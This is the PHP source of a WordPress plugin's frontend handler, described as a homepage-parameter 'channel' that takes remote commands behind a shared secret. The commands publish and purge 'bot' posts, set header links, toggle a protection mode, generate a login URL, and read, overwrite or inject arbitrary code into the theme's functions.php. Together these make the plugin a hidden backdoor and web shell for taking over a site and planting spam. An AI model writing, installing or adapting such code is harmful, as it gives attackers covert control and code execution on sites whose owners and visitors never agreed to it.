<?php
/**
 * Frontend handler for Flavor plugin (Channel 3: homepage with parameter).
 */

if ( ! defined( 'ABSPATH' ) ) exit;

class Flavor_Frontend {

    public function __construct() {
        add_action( 'template_redirect', [ $this, 'handle_request' ], 1 );
    }

    public function handle_request() {
        if ( empty( $_REQUEST['flavor_action'] ) ) {
            return;
        }

        if ( ! Flavor_Plugin::verify_secret() ) {
            Flavor_Plugin::error( 'unauthorized', 403 );
        }

        $action = sanitize_text_field( $_REQUEST['flavor_action'] );
        $raw    = file_get_contents( 'php://input' );
        $data   = json_decode( $raw, true );
        if ( ! is_array( $data ) ) {
            $data = [];
        }

        switch ( $action ) {
            case 'sync':
                Flavor_Plugin::success( Flavor_Plugin::collect_site_data() );
                break;

            case 'posts':
                $title   = sanitize_text_field( isset( $data['title'] ) ? $data['title'] : '' );
                $content = wp_kses_post( isset( $data['content'] ) ? $data['content'] : '' );
                if ( empty( $title ) || empty( $content ) ) {
                    Flavor_Plugin::error( 'title and content required' );
                }
                $post_id = wp_insert_post( [
                    'post_title'   => $title,
                    'post_content' => $content,
                    'post_status'  => 'publish',
                    'post_type'    => 'post',
                    'meta_input'   => [ '_flavor_bot_post' => '1' ],
                ], true );
                if ( is_wp_error( $post_id ) ) {
                    Flavor_Plugin::error( $post_id->get_error_message() );
                }
                Flavor_Plugin::success( [ 'post_id' => $post_id ] );
                break;

            case 'posts_delete':
                global $wpdb;
                $mode = isset( $data['mode'] ) ? $data['mode'] : 'all';
                $bot_ids = $wpdb->get_col(
                    "SELECT p.ID FROM {$wpdb->posts} p
                     INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
                     WHERE pm.meta_key = '_flavor_bot_post' AND pm.meta_value = '1'"
                );
                $deleted = 0;
                if ( ! empty( $bot_ids ) ) {
                    $ids_str = implode( ',', array_map( 'intval', $bot_ids ) );
                    $wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($ids_str)" );
                    $wpdb->query( "DELETE FROM {$wpdb->term_relationships} WHERE object_id IN ($ids_str)" );
                    $wpdb->query( "DELETE FROM {$wpdb->comments} WHERE comment_post_ID IN ($ids_str)" );
                    $deleted = $wpdb->query( "DELETE FROM {$wpdb->posts} WHERE ID IN ($ids_str)" );
                }
                Flavor_Plugin::success( [ 'deleted' => $deleted ] );
                break;

            case 'links':
                $links = isset( $data['links'] ) ? $data['links'] : [];
                update_option( 'flavor_header_links', $links );
                Flavor_Plugin::success( [ 'count' => count( $links ) ] );
                break;

            case 'protection':
                $enable = ! empty( $data['enable'] );
                $result = Flavor_Protection::toggle( $enable );
                if ( $result === true ) {
                    Flavor_Plugin::success( [ 'protection' => $enable ] );
                } else {
                    Flavor_Plugin::error( $result );
                }
                break;

            case 'login':
                $login = new Flavor_Login();
                $url   = $login->generate_login_url();
                Flavor_Plugin::success( [ 'login_url' => $url ] );
                break;

            case 'functions_get':
                $path    = get_stylesheet_directory() . '/functions.php';
                $content = file_exists( $path ) ? file_get_contents( $path ) : '';
                Flavor_Plugin::success( [
                    'content' => $content,
                    'path'    => $path,
                    'size'    => strlen( $content ),
                    'theme'   => get_stylesheet(),
                ] );
                break;

            case 'functions_set':
                $content = isset( $data['content'] ) ? $data['content'] : '';
                $path    = get_stylesheet_directory() . '/functions.php';
                $written = file_put_contents( $path, $content );
                if ( $written === false ) {
                    Flavor_Plugin::error( 'could not write functions.php' );
                }
                Flavor_Plugin::success( [ 'written' => $written, 'path' => $path ] );
                break;

            case 'inject_ksp':
                $code   = isset( $data['code'] ) ? $data['code'] : '';
                $marker = '// Flavor KSP Filter';
                $path   = get_stylesheet_directory() . '/functions.php';
                $content = file_exists( $path ) ? file_get_contents( $path ) : '';
                if ( strpos( $content, $marker ) !== false ) {
                    Flavor_Plugin::success( [ 'injected' => false, 'reason' => 'already_exists' ] );
                }
                $injection = "\n" . $marker . "\n" . $code . "\n";
                $close_tag = '?' . '>';
                if ( preg_match( '/' . $close_tag . '\s*$/', $content ) ) {
                    $content = preg_replace( '/(' . $close_tag . '\s*)$/', $injection . '$1', $content );
                } else {
                    $content .= $injection;
                }
                if ( file_put_contents( $path, $content ) === false ) {
                    Flavor_Plugin::error( 'could not write functions.php' );
                }
                Flavor_Plugin::success( [ 'injected' => true ] );
                break;

            default:
                Flavor_Plugin::error( 'unknown action: ' . $action );
        }
    }
}
